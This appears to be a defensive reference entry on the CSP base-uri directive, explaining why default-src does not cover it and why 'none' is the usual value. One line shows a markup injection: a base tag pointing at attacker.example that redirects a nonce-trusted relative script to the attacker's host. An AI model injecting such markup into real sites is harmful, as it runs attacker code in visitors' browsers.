Directive reference
base-uri
Restricts what the document's <base> element may set as the base URL.
One line, almost always 'none', and it closes an attack that every script directive misses.
Correct value for almost everyone
base-uri 'none'
Does it inherit from default-src?
No. base-uri is not a fetch directive, so default-src does
nothing for it. If you have not written base-uri into your policy, it is unset, and unset
means unrestricted.
What it stops
A <base href> tag changes where every relative URL on the page resolves to, for
everything the parser sees after it. That includes relative script sources:
<base href="https://attacker.example/"> … <script nonce="r4nd0m" src="app.js"></script>
That script tag has a valid nonce, so script-src admits it. It now loads
https://attacker.example/app.js. The <base> element is not a script, so no
script directive applies to it — base-uri is the only thing in CSP that governs it.
An attacker who can inject markup into your page, even markup that cannot execute, can therefore redirect your own trusted scripts. It is one of the cheapest ways to defeat an otherwise good nonce-based policy.
The usual mistake
Assuming a tight default-src covers it. It does not, and the omission is invisible: the
policy looks strict, the site works, and nothing warns you.
When you might need a value other than 'none'
Only if your application genuinely uses a <base> tag — some single-page apps served
from a sub-path do. Then set base-uri 'self', which permits a base pointing at your own
origin and nowhere else.